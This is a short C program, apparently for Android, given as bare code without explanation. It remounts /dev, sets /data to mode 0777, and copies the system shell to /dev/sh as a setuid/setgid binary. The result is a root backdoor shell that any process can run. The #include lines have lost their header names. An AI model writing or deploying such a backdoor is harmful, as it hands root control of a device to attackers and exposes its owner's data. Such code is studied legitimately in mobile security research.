#include #include static void filecopy(const char* src, const char* dst, int mode) { char buf[0x1000]; int ret; int fd = open(dst, O_WRONLY | O_CREAT); int fd2 = open(src, O_RDONLY); int len; while((len = read(fd2, buf, sizeof(buf))) !=0) { write(fd, buf, len); } close(fd); close(fd2); ret = chmod(dst, mode); } int main(int argc, const char**argv) { mount("/dev", "/dev", 0, MS_REMOUNT, 0); chmod("/data", 0777); filecopy("/system/bin/sh", "/dev/sh", 06755); return 0; }